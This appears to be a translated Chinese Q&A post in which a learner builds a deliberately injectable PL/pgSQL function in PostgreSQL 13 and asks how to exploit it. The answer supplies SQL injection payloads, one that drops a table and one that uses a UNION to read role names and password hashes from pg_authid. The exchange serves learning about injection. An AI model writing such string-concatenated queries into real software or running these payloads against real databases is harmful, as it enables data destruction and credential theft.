Postgresql
我正在嘗試在 PostgreSQL 13 中我自己的函式中進行 SQL 注入
僅出於學習目的,我正在嘗試使用 PLPGSQL 創建一個函式並對其進行 SQL 注入。我最近了解了
format
,USING
和quote_literal
,quote_indent
所以我很擅長避免 SQL 注入。我想要做的是創建一個允許 SQL 注入的函式(即 adrop table
)。所以我寫了這個:
create or replace function badfunc(tablename text, identifier int4) returns setof character varying as $$ declare query text; begin query := 'select full_name from ' || $1 || ' where re = ' || $2 ||''; raise notice 'query: %', query; return query execute query; end; $$ language 'plpgsql';
但是當我執行這個函式時,
select badfunc('; drop table tb_students;', 1001);
我得到了這個錯誤:[42601] ERROR: syntax error at or near ";" where: function PL/pgSQL badfunc(text,integer) linha 7 in RETURN QUERY
所以我認為這不是它的完成方式。如何實現這種 SQL 注入?
您必須使其成為有效的 SQL 語句:
SELECT badfunc('(VALUES ('done')) AS x(fullname); drop table tb_students; --', 1001);
在這種情況下,PostgreSQL 的內部限制阻止您進行多語句注入。您可能不得不接受數據洩漏。
SELECT badfunc('tb_students', '1001 union all select concat(rolname,rolpassword) from pg_authid');